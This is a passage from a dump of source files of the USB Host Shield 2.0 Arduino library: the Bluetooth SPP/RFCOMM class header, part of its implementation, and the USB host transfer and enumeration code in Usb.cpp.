  for(uint8_t i = 1; i < rfcommAvailable; i++)\n                rfcommDataBuffer[i - 1] = rfcommDataBuffer[i]; // Shift the buffer one left\n        rfcommAvailable--;\n        bytesRead++;\n        if(bytesRead > (sizeof (rfcommDataBuffer) - 5)) { // We will send the command just before it runs out of credit\n                bytesRead = 0;\n                sendRfcommCredit(rfcommChannelConnection, rfcommDirection, 0, RFCOMM_UIH, 0x10, sizeof (rfcommDataBuffer)); // Send more credit\n#ifdef EXTRADEBUG\n                Notify(PSTR(\"\\r\\nSent \"), 0x80);\n                Notify((uint8_t)sizeof (rfcommDataBuffer), 0x80);\n                Notify(PSTR(\" more credit\"), 0x80);\n#endif\n        }\n        return output;\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/SPP.h",
    "content": "/* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and modified under the terms of the GNU\n General Public License version 2 (GPL2) as published by the Free Software\n Foundation and appearing in the file GPL2.TXT included in the packaging of\n this file. Please note that GPL2 Section 2[b] requires that all works based\n on this software must also be made publicly available under the terms of\n the GPL2 (\"Copyleft\").\n\n Contact information\n -------------------\n\n Kristian Lauszus, TKJ Electronics\n Web      :  http://www.tkjelectronics.com\n e-mail   :  kristianl@tkjelectronics.com\n */\n\n#ifndef _spp_h_\n#define _spp_h_\n\n#include \"BTD.h\"\n\n/* Used for SDP */\n#define SDP_SERVICE_SEARCH_ATTRIBUTE_REQUEST_PDU    0x06 // See the RFCOMM specs\n#define SDP_SERVICE_SEARCH_ATTRIBUTE_RESPONSE_PDU   0x07 // See the RFCOMM specs\n#define SERIALPORT_UUID     0x1101 // See http://www.bluetooth.org/Technical/AssignedNumbers/service_discovery.htm\n#define L2CAP_UUID          0x0100\n\n/* Used for RFCOMM */\n#define RFCOMM_SABM     0x2F\n#define RFCOMM_UA       0x63\n#define RFCOMM_UIH      0xEF\n//#define RFCOMM_DM       0x0F\n#define RFCOMM_DISC     0x43\n\n#define extendAddress   0x01 // Always 1\n\n// Multiplexer message types\n#define BT_RFCOMM_PN_CMD     0x83\n#define BT_RFCOMM_PN_RSP     0x81\n#define BT_RFCOMM_MSC_CMD    0xE3\n#define BT_RFCOMM_MSC_RSP    0xE1\n#define BT_RFCOMM_RPN_CMD    0x93\n#define BT_RFCOMM_RPN_RSP    0x91\n/*\n#define BT_RFCOMM_TEST_CMD   0x23\n#define BT_RFCOMM_TEST_RSP   0x21\n#define BT_RFCOMM_FCON_CMD   0xA3\n#define BT_RFCOMM_FCON_RSP   0xA1\n#define BT_RFCOMM_FCOFF_CMD  0x63\n#define BT_RFCOMM_FCOFF_RSP  0x61\n#define BT_RFCOMM_RLS_CMD    0x53\n#define BT_RFCOMM_RLS_RSP    0x51\n#define BT_RFCOMM_NSC_RSP    0x11\n */\n\n/**\n * This BluetoothService class implements the Serial Port Protocol (SPP).\n * It inherits the Arduino Stream class. This allows it to use all the standard Arduino print and stream functions.\n */\nclass SPP : public BluetoothService, public Stream {\npublic:\n        /**\n         * Constructor for the SPP class.\n         * @param  p   Pointer to BTD class instance.\n         * @param  name   Set the name to BTD#btdName. If argument is omitted, then \"Arduino\" will be used.\n         * @param  pin   Write the pin to BTD#btdPin. If argument is omitted, then \"0000\" will be used.\n         */\n        SPP(BTD *p, const char *name = \"Arduino\", const char *pin = \"0000\");\n\n        /** @name BluetoothService implementation */\n        /** Used this to disconnect the virtual serial port. */\n        void disconnect();\n        /**@}*/\n\n        /**\n         * Used to provide Boolean tests for the class.\n         * @return Return true if SPP communication is connected.\n         */\n        operator bool() {\n                return connected;\n        }\n        /** Variable used to indicate if the connection is established. */\n        bool connected;\n\n        /** @name Serial port profile (SPP) Print functions */\n        /**\n         * Get number of bytes waiting to be read.\n         * @return Return the number of bytes ready to be read.\n         */\n        int available(void);\n\n        /** Send out all bytes in the buffer. */\n        void flush(void) {\n                send();\n        };\n        /**\n         * Used to read the next value in the buffer without advancing to the next one.\n         * @return Return the byte. Will return -1 if no bytes are available.\n         */\n        int peek(void);\n        /**\n         * Used to read the buffer.\n         * @return Return the byte. Will return -1 if no bytes are available.\n         */\n        int read(void);\n\n#if defined(ARDUINO) && ARDUINO >=100\n        /**\n         * Writes the byte to send to a buffer. The message is send when either send() or after Usb.Task() is called.\n         * @param  data The byte to write.\n         * @return      Return the number of bytes written.\n         */\n        size_t write(uint8_t data);\n        /**\n         * Writes the bytes to send to a buffer. The message is send when either send() or after Usb.Task() is called.\n         * @param  data The data array to send.\n         * @param  size Size of the data.\n         * @return      Return the number of bytes written.\n         */\n        size_t write(const uint8_t* data, size_t size);\n        /** Pull in write(const char *str) from Print */\n#if !defined(RBL_NRF51822)\n        using Print::write;\n#endif\n#else\n        /**\n         * Writes the byte to send to a buffer. The message is send when either send() or after Usb.Task() is called.\n         * @param  data The byte to write.\n         */\n        void write(uint8_t data);\n        /**\n         * Writes the bytes to send to a buffer. The message is send when either send() or after Usb.Task() is called.\n         * @param data The data array to send.\n         * @param size Size of the data.\n         */\n        void write(const uint8_t* data, size_t size);\n#endif\n\n        /** Discard all the bytes in the buffer. */\n        void discard(void);\n        /**\n         * This will send all the bytes in the buffer.\n         * This is called whenever Usb.Task() is called,\n         * but can also be called via this function.\n         */\n        void send(void);\n        /**@}*/\n\nprotected:\n        /** @name BluetoothService implementation */\n        /**\n         * Used to pass acldata to the services.\n         * @param ACLData Incoming acldata.\n         */\n        void ACLData(uint8_t* ACLData);\n        /** Used to establish the connection automatically. */\n        void Run();\n        /** Use this to reset the service. */\n        void Reset();\n        /**\n         * Called when a device is successfully initialized.\n         * Use attachOnInit(void (*funcOnInit)(void)) to call your own function.\n         * This is useful for instance if you want to set the LEDs in a specific way.\n         */\n        void onInit();\n        /**@}*/\n\nprivate:\n        /* Set true when a channel is created */\n        bool SDPConnected;\n        bool RFCOMMConnected;\n\n        /* Variables used by L2CAP state machines */\n        uint8_t l2cap_sdp_state;\n        uint8_t l2cap_rfcomm_state;\n\n        uint8_t l2capoutbuf[BULK_MAXPKTSIZE]; // General purpose buffer for l2cap out data\n        uint8_t rfcommbuf[10]; // Buffer for RFCOMM Commands\n\n        /* L2CAP Channels */\n        uint8_t sdp_scid[2]; // L2CAP source CID for SDP\n        uint8_t sdp_dcid[2]; // 0x0050\n        uint8_t rfcomm_scid[2]; // L2CAP source CID for RFCOMM\n        uint8_t rfcomm_dcid[2]; // 0x0051\n\n        /* RFCOMM Variables */\n        uint8_t rfcommChannel;\n        uint8_t rfcommChannelConnection; // This is the channel the SPP channel will be running at\n        uint8_t rfcommDirection;\n        uint8_t rfcommCommandResponse;\n        uint8_t rfcommChannelType;\n        uint8_t rfcommPfBit;\n\n        uint32_t timer;\n        bool waitForLastCommand;\n        bool creditSent;\n\n        uint8_t rfcommDataBuffer[100]; // Create a 100 sized buffer for incoming data\n        uint8_t sppOutputBuffer[100]; // Create a 100 sized buffer for outgoing SPP data\n        uint8_t sppIndex;\n        uint8_t rfcommAvailable;\n\n        bool firstMessage; // Used to see if it's the first SDP request received\n        uint8_t bytesRead; // Counter to see when it's time to send more credit\n\n        /* State machines */\n        void SDP_task(); // SDP state machine\n        void RFCOMM_task(); // RFCOMM state machine\n\n        /* SDP Commands */\n        void SDP_Command(uint8_t *data, uint8_t nbytes);\n        void serviceNotSupported(uint8_t transactionIDHigh, uint8_t transactionIDLow);\n        void serialPortResponse1(uint8_t transactionIDHigh, uint8_t transactionIDLow);\n        void serialPortResponse2(uint8_t transactionIDHigh, uint8_t transactionIDLow);\n        void l2capResponse1(uint8_t transactionIDHigh, uint8_t transactionIDLow);\n        void l2capResponse2(uint8_t transactionIDHigh, uint8_t transactionIDLow);\n\n        /* RFCOMM Commands */\n        void RFCOMM_Command(uint8_t *data, uint8_t nbytes);\n        void sendRfcomm(uint8_t channel, uint8_t direction, uint8_t CR, uint8_t channelType, uint8_t pfBit, uint8_t *data, uint8_t length);\n        void sendRfcommCredit(uint8_t channel, uint8_t direction, uint8_t CR, uint8_t channelType, uint8_t pfBit, uint8_t credit);\n        uint8_t calcFcs(uint8_t *data);\n        bool checkFcs(uint8_t *data, uint8_t fcs);\n        uint8_t crc(uint8_t *data);\n};\n#endif\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/Usb.cpp",
    "content": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis program is free software; you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation; either version 2 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program; if not, write to the Free Software\nFoundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n/* USB functions */\n\n#include \"Usb.h\"\n\nstatic uint8_t usb_error = 0;\nstatic uint8_t usb_task_state;\n\n/* constructor */\nUSB::USB() : bmHubPre(0) {\n        usb_task_state = USB_DETACHED_SUBSTATE_INITIALIZE; //set up state machine\n        init();\n}\n\n/* Initialize data structures */\nvoid USB::init() {\n        //devConfigIndex = 0;\n        bmHubPre = 0;\n}\n\nuint8_t USB::getUsbTaskState(void) {\n        return ( usb_task_state);\n}\n\nvoid USB::setUsbTaskState(uint8_t state) {\n        usb_task_state = state;\n}\n\nEpInfo* USB::getEpInfoEntry(uint8_t addr, uint8_t ep) {\n        UsbDevice *p = addrPool.GetUsbDevicePtr(addr);\n\n        if(!p || !p->epinfo)\n                return NULL;\n\n        EpInfo *pep = p->epinfo;\n\n        for(uint8_t i = 0; i < p->epcount; i++) {\n                if((pep)->epAddr == ep)\n                        return pep;\n\n                pep++;\n        }\n        return NULL;\n}\n\n/* set device table entry */\n\n/* each device is different and has different number of endpoints. This function plugs endpoint record structure, defined in application, to devtable */\nuint8_t USB::setEpInfoEntry(uint8_t addr, uint8_t epcount, EpInfo* eprecord_ptr) {\n        if(!eprecord_ptr)\n                return USB_ERROR_INVALID_ARGUMENT;\n\n        UsbDevice *p = addrPool.GetUsbDevicePtr(addr);\n\n        if(!p)\n                return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;\n\n        p->address.devAddress = addr;\n        p->epinfo = eprecord_ptr;\n        p->epcount = epcount;\n\n        return 0;\n}\n\nuint8_t USB::SetAddress(uint8_t addr, uint8_t ep, EpInfo **ppep, uint16_t *nak_limit) {\n        UsbDevice *p = addrPool.GetUsbDevicePtr(addr);\n\n        if(!p)\n                return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;\n\n        if(!p->epinfo)\n                return USB_ERROR_EPINFO_IS_NULL;\n\n        *ppep = getEpInfoEntry(addr, ep);\n\n        if(!*ppep)\n                return USB_ERROR_EP_NOT_FOUND_IN_TBL;\n\n        *nak_limit = (0x0001UL << (((*ppep)->bmNakPower > USB_NAK_MAX_POWER) ? USB_NAK_MAX_POWER : (*ppep)->bmNakPower));\n        (*nak_limit)--;\n        /*\n          USBTRACE2(\"\\r\\nAddress: \", addr);\n          USBTRACE2(\" EP: \", ep);\n          USBTRACE2(\" NAK Power: \",(*ppep)->bmNakPower);\n          USBTRACE2(\" NAK Limit: \", nak_limit);\n          USBTRACE(\"\\r\\n\");\n         */\n        regWr(rPERADDR, addr); //set peripheral address\n\n        uint8_t mode = regRd(rMODE);\n\n        //Serial.print(\"\\r\\nMode: \");\n        //Serial.println( mode, HEX);\n        //Serial.print(\"\\r\\nLS: \");\n        //Serial.println(p->lowspeed, HEX);\n\n\n\n        // Set bmLOWSPEED and bmHUBPRE in case of low-speed device, reset them otherwise\n        regWr(rMODE, (p->lowspeed) ? mode | bmLOWSPEED | bmHubPre : mode & ~(bmHUBPRE | bmLOWSPEED));\n\n        return 0;\n}\n\n/* Control transfer. Sets address, endpoint, fills control packet with necessary data, dispatches control packet, and initiates bulk IN transfer,   */\n/* depending on request. Actual requests are defined as inlines                                                                                      */\n/* return codes:                */\n/* 00       =   success         */\n\n/* 01-0f    =   non-zero HRSLT  */\nuint8_t USB::ctrlReq(uint8_t addr, uint8_t ep, uint8_t bmReqType, uint8_t bRequest, uint8_t wValLo, uint8_t wValHi,\n        uint16_t wInd, uint16_t total, uint16_t nbytes, uint8_t* dataptr, USBReadParser *p) {\n        bool direction = false; //request direction, IN or OUT\n        uint8_t rcode;\n        SETUP_PKT setup_pkt;\n\n        EpInfo *pep = NULL;\n        uint16_t nak_limit = 0;\n\n        rcode = SetAddress(addr, ep, &pep, &nak_limit);\n\n        if(rcode)\n                return rcode;\n\n        direction = ((bmReqType & 0x80) > 0);\n\n        /* fill in setup packet */\n        setup_pkt.ReqType_u.bmRequestType = bmReqType;\n        setup_pkt.bRequest = bRequest;\n        setup_pkt.wVal_u.wValueLo = wValLo;\n        setup_pkt.wVal_u.wValueHi = wValHi;\n        setup_pkt.wIndex = wInd;\n        setup_pkt.wLength = total;\n\n        bytesWr(rSUDFIFO, 8, (uint8_t*) & setup_pkt); //transfer to setup packet FIFO\n\n        rcode = dispatchPkt(tokSETUP, ep, nak_limit); //dispatch packet\n\n        if(rcode) //return HRSLT if not zero\n                return ( rcode);\n\n        if(dataptr != NULL) //data stage, if present\n        {\n                if(direction) //IN transfer\n                {\n                        uint16_t left = total;\n\n                        pep->bmRcvToggle = 1; //bmRCVTOG1;\n\n                        while(left) {\n                                // Bytes read into buffer\n                                uint16_t read = nbytes;\n                                //uint16_t read = (left<nbytes) ? left : nbytes;\n\n                                rcode = InTransfer(pep, nak_limit, &read, dataptr);\n                                if(rcode == hrTOGERR) {\n                                        // yes, we flip it wrong here so that next time it is actually correct!\n                                        pep->bmRcvToggle = (regRd(rHRSL) & bmSNDTOGRD) ? 0 : 1;\n                                        continue;\n                                }\n\n                                if(rcode)\n                                        return rcode;\n\n                                // Invoke callback function if inTransfer completed successfully and callback function pointer is specified\n                                if(!rcode && p)\n                                        ((USBReadParser*)p)->Parse(read, dataptr, total - left);\n\n                                left -= read;\n\n                                if(read < nbytes)\n                                        break;\n                        }\n                } else //OUT transfer\n                {\n                        pep->bmSndToggle = 1; //bmSNDTOG1;\n                        rcode = OutTransfer(pep, nak_limit, nbytes, dataptr);\n                }\n                if(rcode) //return error\n                        return ( rcode);\n        }\n        // Status stage\n        return dispatchPkt((direction) ? tokOUTHS : tokINHS, ep, nak_limit); //GET if direction\n}\n\n/* IN transfer to arbitrary endpoint. Assumes PERADDR is set. Handles multiple packets if necessary. Transfers 'nbytes' bytes. */\n/* Keep sending INs and writes data to memory area pointed by 'data'                                                           */\n\n/* rcode 0 if no errors. rcode 01-0f is relayed from dispatchPkt(). Rcode f0 means RCVDAVIRQ error,\n            fe USB xfer timeout */\nuint8_t USB::inTransfer(uint8_t addr, uint8_t ep, uint16_t *nbytesptr, uint8_t* data, uint8_t bInterval /*= 0*/) {\n        EpInfo *pep = NULL;\n        uint16_t nak_limit = 0;\n\n        uint8_t rcode = SetAddress(addr, ep, &pep, &nak_limit);\n\n        if(rcode) {\n                USBTRACE3(\"(USB::InTransfer) SetAddress Failed \", rcode, 0x81);\n                USBTRACE3(\"(USB::InTransfer) addr requested \", addr, 0x81);\n                USBTRACE3(\"(USB::InTransfer) ep requested \", ep, 0x81);\n                return rcode;\n        }\n        return InTransfer(pep, nak_limit, nbytesptr, data, bInterval);\n}\n\nuint8_t USB::InTransfer(EpInfo *pep, uint16_t nak_limit, uint16_t *nbytesptr, uint8_t* data, uint8_t bInterval /*= 0*/) {\n        uint8_t rcode = 0;\n        uint8_t pktsize;\n\n        uint16_t nbytes = *nbytesptr;\n        //printf(\"Requesting %i bytes \", nbytes);\n        uint8_t maxpktsize = pep->maxPktSize;\n\n        *nbytesptr = 0;\n        regWr(rHCTL, (pep->bmRcvToggle) ? bmRCVTOG1 : bmRCVTOG0); //set toggle value\n\n        // use a 'break' to exit this loop\n        while(1) {\n                rcode = dispatchPkt(tokIN, pep->epAddr, nak_limit); //IN packet to EP-'endpoint'. Function takes care of NAKS.\n                if(rcode == hrTOGERR) {\n                        // yes, we flip it wrong here so that next time it is actually correct!\n                        pep->bmRcvToggle = (regRd(rHRSL) & bmRCVTOGRD) ? 0 : 1;\n                        regWr(rHCTL, (pep->bmRcvToggle) ? bmRCVTOG1 : bmRCVTOG0); //set toggle value\n                        continue;\n                }\n                if(rcode) {\n                        //printf(\">>>>>>>> Problem! dispatchPkt %2.2x\\r\\n\", rcode);\n                        break; //should be 0, indicating ACK. Else return error code.\n                }\n                /* check for RCVDAVIRQ and generate error if not present */\n                /* the only case when absence of RCVDAVIRQ makes sense is when toggle error occurred. Need to add handling for that */\n                if((regRd(rHIRQ) & bmRCVDAVIRQ) == 0) {\n                        //printf(\">>>>>>>> Problem! NO RCVDAVIRQ!\\r\\n\");\n                        rcode = 0xf0; //receive error\n                        break;\n                }\n                pktsize = regRd(rRCVBC); //number of received bytes\n                //printf(\"Got %i bytes \\r\\n\", pktsize);\n                // This would be OK, but...\n                //assert(pktsize <= nbytes);\n                if(pktsize > nbytes) {\n                        // This can happen. Use of assert on Arduino locks up the Arduino.\n                        // So I will trim the value, and hope for the best.\n                        //printf(\">>>>>>>> Problem! Wanted %i bytes but got %i.\\r\\n\", nbytes, pktsize);\n                        pktsize = nbytes;\n                }\n\n                int16_t mem_left = (int16_t)nbytes - *((int16_t*)nbytesptr);\n\n                if(mem_left < 0)\n                        mem_left = 0;\n\n                data = bytesRd(rRCVFIFO, ((pktsize > mem_left) ? mem_left : pktsize), data);\n\n                regWr(rHIRQ, bmRCVDAVIRQ); // Clear the IRQ & free the buffer\n                *nbytesptr += pktsize; // add this packet's byte count to total transfer length\n\n                /* The transfer is complete under two conditions:           */\n                /* 1. The device sent a short packet (L.T. maxPacketSize)   */\n                /* 2. 'nbytes' have been transferred.                       */\n                if((pktsize < maxpktsize) || (*nbytesptr >= nbytes)) // have we transferred 'nbytes' bytes?\n                {\n                        // Save toggle value\n                        pep->bmRcvToggle = ((regRd(rHRSL) & bmRCVTOGRD)) ? 1 : 0;\n                        //printf(\"\\r\\n\");\n                        rcode = 0;\n                        break;\n                } else if(bInterval > 0)\n                        delay(bInterval); // Delay according to polling interval\n        } //while( 1 )\n        return ( rcode);\n}\n\n/* OUT transfer to arbitrary endpoint. Handles multiple packets if necessary. Transfers 'nbytes' bytes. */\n/* Handles NAK bug per Maxim Application Note 4000 for single buffer transfer   */\n\n/* rcode 0 if no errors. rcode 01-0f is relayed from HRSL                       */\nuint8_t USB::outTransfer(uint8_t addr, uint8_t ep, uint16_t nbytes, uint8_t* data) {\n        EpInfo *pep = NULL;\n        uint16_t nak_limit = 0;\n\n        uint8_t rcode = SetAddress(addr, ep, &pep, &nak_limit);\n\n        if(rcode)\n                return rcode;\n\n        return OutTransfer(pep, nak_limit, nbytes, data);\n}\n\nuint8_t USB::OutTransfer(EpInfo *pep, uint16_t nak_limit, uint16_t nbytes, uint8_t *data) {\n        uint8_t rcode = hrSUCCESS, retry_count;\n        uint8_t *data_p = data; //local copy of the data pointer\n        uint16_t bytes_tosend, nak_count;\n        uint16_t bytes_left = nbytes;\n\n        uint8_t maxpktsize = pep->maxPktSize;\n\n        if(maxpktsize < 1 || maxpktsize > 64)\n                return USB_ERROR_INVALID_MAX_PKT_SIZE;\n\n        uint32_t timeout = (uint32_t)millis() + USB_XFER_TIMEOUT;\n\n        regWr(rHCTL, (pep->bmSndToggle) ? bmSNDTOG1 : bmSNDTOG0); //set toggle value\n\n        while(bytes_left) {\n                retry_count = 0;\n                nak_count = 0;\n                bytes_tosend = (bytes_left >= maxpktsize) ? maxpktsize : bytes_left;\n                bytesWr(rSNDFIFO, bytes_tosend, data_p); //filling output FIFO\n                regWr(rSNDBC, bytes_tosend); //set number of bytes\n                regWr(rHXFR, (tokOUT | pep->epAddr)); //dispatch packet\n                while(!(regRd(rHIRQ) & bmHXFRDNIRQ)); //wait for the completion IRQ\n                regWr(rHIRQ, bmHXFRDNIRQ); //clear IRQ\n                rcode = (regRd(rHRSL) & 0x0f);\n\n                while(rcode && ((int32_t)((uint32_t)millis() - timeout) < 0L)) {\n                        switch(rcode) {\n                                case hrNAK:\n                                        nak_count++;\n                                        if(nak_limit && (nak_count == nak_limit))\n                                                goto breakout;\n                                        //return ( rcode);\n                                        break;\n                                case hrTIMEOUT:\n                                        retry_count++;\n                                        if(retry_count == USB_RETRY_LIMIT)\n                                                goto breakout;\n                                        //return ( rcode);\n                                        break;\n                                case hrTOGERR:\n                                        // yes, we flip it wrong here so that next time it is actually correct!\n                                        pep->bmSndToggle = (regRd(rHRSL) & bmSNDTOGRD) ? 0 : 1;\n                                        regWr(rHCTL, (pep->bmSndToggle) ? bmSNDTOG1 : bmSNDTOG0); //set toggle value\n                                        break;\n                                default:\n                                        goto breakout;\n                        }//switch( rcode\n\n                        /* process NAK according to Host out NAK bug */\n                        regWr(rSNDBC, 0);\n                        regWr(rSNDFIFO, *data_p);\n                        regWr(rSNDBC, bytes_tosend);\n                        regWr(rHXFR, (tokOUT | pep->epAddr)); //dispatch packet\n                        while(!(regRd(rHIRQ) & bmHXFRDNIRQ)); //wait for the completion IRQ\n                        regWr(rHIRQ, bmHXFRDNIRQ); //clear IRQ\n                        rcode = (regRd(rHRSL) & 0x0f);\n                }//while( rcode && ....\n                bytes_left -= bytes_tosend;\n                data_p += bytes_tosend;\n        }//while( bytes_left...\nbreakout:\n\n        pep->bmSndToggle = (regRd(rHRSL) & bmSNDTOGRD) ? 1 : 0; //bmSNDTOG1 : bmSNDTOG0;  //update toggle\n        return ( rcode); //should be 0 in all cases\n}\n/* dispatch USB packet. Assumes peripheral address is set and relevant buffer is loaded/empty       */\n/* If NAK, tries to re-send up to nak_limit times                                                   */\n/* If nak_limit == 0, do not count NAKs, exit after timeout                                         */\n/* If bus timeout, re-sends up to USB_RETRY_LIMIT times                                             */\n\n/* return codes 0x00-0x0f are HRSLT( 0x00 being success ), 0xff means timeout                       */\nuint8_t USB::dispatchPkt(uint8_t token, uint8_t ep, uint16_t nak_limit) {\n        uint32_t timeout = (uint32_t)millis() + USB_XFER_TIMEOUT;\n        uint8_t tmpdata;\n        uint8_t rcode = hrSUCCESS;\n        uint8_t retry_count = 0;\n        uint16_t nak_count = 0;\n\n        while((int32_t)((uint32_t)millis() - timeout) < 0L) {\n#if defined(ESP8266) || defined(ESP32)\n                        yield(); // needed in order to reset the watchdog timer on the ESP8266\n#endif\n                regWr(rHXFR, (token | ep)); //launch the transfer\n                rcode = USB_ERROR_TRANSFER_TIMEOUT;\n\n                while((int32_t)((uint32_t)millis() - timeout) < 0L) //wait for transfer completion\n                {\n#if defined(ESP8266) || defined(ESP32)\n                        yield(); // needed in order to reset the watchdog timer on the ESP8266\n#endif\n                        tmpdata = regRd(rHIRQ);\n\n                        if(tmpdata & bmHXFRDNIRQ) {\n                                regWr(rHIRQ, bmHXFRDNIRQ); //clear the interrupt\n                                rcode = 0x00;\n                                break;\n                        }//if( tmpdata & bmHXFRDNIRQ\n\n                }//while ( millis() < timeout\n\n                //if (rcode != 0x00) //exit if timeout\n                //        return ( rcode);\n\n                rcode = (regRd(rHRSL) & 0x0f); //analyze transfer result\n\n                switch(rcode) {\n                        case hrNAK:\n                                nak_count++;\n                                if(nak_limit && (nak_count == nak_limit))\n                                        return (rcode);\n                                break;\n                        case hrTIMEOUT:\n                                retry_count++;\n                                if(retry_count == USB_RETRY_LIMIT)\n                                        return (rcode);\n                                break;\n                        default:\n                                return (rcode);\n                }//switch( rcode\n\n        }//while( timeout > millis()\n        return ( rcode);\n}\n\n/* USB main task. Performs enumeration/cleanup */\nvoid USB::Task(void) //USB state machine\n{\n        uint8_t rcode;\n        uint8_t tmpdata;\n        static uint32_t delay = 0;\n        //USB_DEVICE_DESCRIPTOR buf;\n        bool lowspeed = false;\n\n        MAX3421E::Task();\n\n        tmpdata = getVbusState();\n\n        /* modify USB task state if Vbus changed */\n        switch(tmpdata) {\n                case SE1: //illegal state\n                        usb_task_state = USB_DETACHED_SUBSTATE_ILLEGAL;\n                        lowspeed = false;\n                        break;\n                case SE0: //disconnected\n                        if((usb_task_state & USB_STATE_MASK) != USB_STATE_DETACHED)\n                                usb_task_state = USB_DETACHED_SUBSTATE_INITIALIZE;\n                        lowspeed = false;\n                        break;\n                case LSHOST:\n\n                        lowspeed = true;\n                        //intentional fallthrough\n                case FSHOST: //attached\n                        if((usb_task_state & USB_STATE_MASK) == USB_STATE_DETACHED) {\n                                delay = (uint32_t)millis() + USB_SETTLE_DELAY;\n                                usb_task_state = USB_ATTACHED_SUBSTATE_SETTLE;\n                        }\n                        break;\n        }// switch( tmpdata\n\n        for(uint8_t i = 0; i < USB_NUMDEVICES; i++)\n                if(devConfig[i])\n                        rcode = devConfig[i]->Poll();\n\n        switch(usb_task_state) {\n                case USB_DETACHED_SUBSTATE_INITIALIZE:\n                        init();\n\n                        for(uint8_t i = 0; i < USB_NUMDEVICES; i++)\n                                if(devConfig[i])\n                                        rcode = devConfig[i]->Release();\n\n                        usb_task_state = USB_DETACHED_SUBSTATE_WAIT_FOR_DEVICE;\n                        break;\n                case USB_DETACHED_SUBSTATE_WAIT_FOR_DEVICE: //just sit here\n                        break;\n                case USB_DETACHED_SUBSTATE_ILLEGAL: //just sit here\n                        break;\n                case USB_ATTACHED_SUBSTATE_SETTLE: //settle time for just attached device\n                        if((int32_t)((uint32_t)millis() - delay) >= 0L)\n                                usb_task_state = USB_ATTACHED_SUBSTATE_RESET_DEVICE;\n                        else break; // don't fall through\n                case USB_ATTACHED_SUBSTATE_RESET_DEVICE:\n                        regWr(rHCTL, bmBUSRST); //issue bus reset\n                        usb_task_state = USB_ATTACHED_SUBSTATE_WAIT_RESET_COMPLETE;\n                        break;\n                case USB_ATTACHED_SUBSTATE_WAIT_RESET_COMPLETE:\n                        if((regRd(rHCTL) & bmBUSRST) == 0) {\n                                tmpdata = regRd(rMODE) | bmSOFKAENAB; //start SOF generation\n                                regWr(rMODE, tmpdata);\n                                usb_task_state = USB_ATTACHED_SUBSTATE_WAIT_SOF;\n                                //delay = (uint32_t)millis() + 20; //20ms wait after reset per USB spec\n                        }\n                        break;\n                case USB_ATTACHED_SUBSTATE_WAIT_SOF: //todo: change check order\n                        if(regRd(rHIRQ) & bmFRAMEIRQ) {\n                                //when first SOF received _and_ 20ms has passed we can continue\n                                /*\n                                if (delay < (uint32_t)millis()) //20ms passed\n                                        usb_task_state = USB_STATE_CONFIGURING;\n                                 */\n                                usb_task_state = USB_ATTACHED_SUBSTATE_WAIT_RESET;\n                                delay = (uint32_t)millis() + 20;\n                        }\n                        break;\n                case USB_ATTACHED_SUBSTATE_WAIT_RESET:\n                        if((int32_t)((uint32_t)millis() - delay) >= 0L) usb_task_state = USB_STATE_CONFIGURING;\n                        else break; // don't fall through\n                case USB_STATE_CONFIGURING:\n\n                        //Serial.print(\"\\r\\nConf.LS: \");\n                        //Serial.println(lowspeed, HEX);\n\n                        rcode = Configuring(0, 0, lowspeed);\n\n                        if(rcode) {\n                                if(rcode != USB_DEV_CONFIG_ERROR_DEVICE_INIT_INCOMPLETE) {\n                                        usb_error = rcode;\n                                        usb_task_state = USB_STATE_ERROR;\n                                }\n                        } else\n                                usb_task_state = USB_STATE_RUNNING;\n                        break;\n                case USB_STATE_RUNNING:\n                        break;\n                case USB_STATE_ERROR:\n                        //MAX3421E::Init();\n                        break;\n        } // switch( usb_task_state )\n}\n\nuint8_t USB::DefaultAddressing(uint8_t parent, uint8_t port, bool lowspeed) {\n        //uint8_t                buf[12];\n        uint8_t rcode;\n        UsbDevice *p0 = NULL, *p = NULL;\n\n        // Get pointer to pseudo device with address 0 assigned\n        p0 = addrPool.GetUsbDevicePtr(0);\n\n        if(!p0)\n                return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;\n\n        if(!p0->epinfo)\n                return USB_ERROR_EPINFO_IS_NULL;\n\n        p0->lowspeed = (lowspeed) ? true : false;\n\n        // Allocate new address according to device class\n        uint8_t bAddress = addrPool.AllocAddress(parent, false, port);\n\n        if(!bAddress)\n                return USB_ERROR_OUT_OF_ADDRESS_SPACE_IN_POOL;\n\n        p = addrPool.GetUsbDevicePtr(bAddress);\n\n        if(!p)\n                return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;\n\n        p->lowspeed = lowspeed;\n\n        // Assign new address to the device\n        rcode = setAddr(0, 0, bAddress);\n\n        if(rcode) {\n                addrPool.FreeAddress(bAddress);\n                bAddress = 0;\n                return rcode;\n        }\n        return 0;\n};\n\nuint8_t USB::AttemptConfig(uint8_t driver, uint8_t parent, uint8_t port, bool lowspeed) {\n        //printf(\"AttemptConfig: parent = %i, port = %i\\r\\n\", parent, port);\n        uint8_t retries = 0;\n\nagain:\n        uint8_t rcode = devConfig[driver]->ConfigureDevice(parent, port, lowspeed);\n        if(rcode == USB_ERROR_CONFIG_REQUIRES_ADDITIONAL_RESET) {\n                if(parent == 0) {\n                        // Send a bus reset on the root interface.\n                        regWr(rHCTL, bmBUSRST); //issue bus reset\n                        delay(102); // delay 102ms, compensate for clock inaccuracy.\n                } else {\n                        // reset parent port\n                        devConfig[parent]->ResetHubPort(port);\n                }\n        } else if(rcode == hrJERR && retries < 3) { // Some devices returns this when plugged in - trying to initialize the device again usually works\n                delay(100);\n                retries++;\n                goto again;\n        } else if(rcode)\n                return rcode;\n\n        rcode = devConfig[driver]->Init(parent, port, lowspeed);\n        if(rcode == hrJERR && retries < 3) { // Some devices returns this when plugged in - trying to initialize the device again usually works\n                delay(100);\n                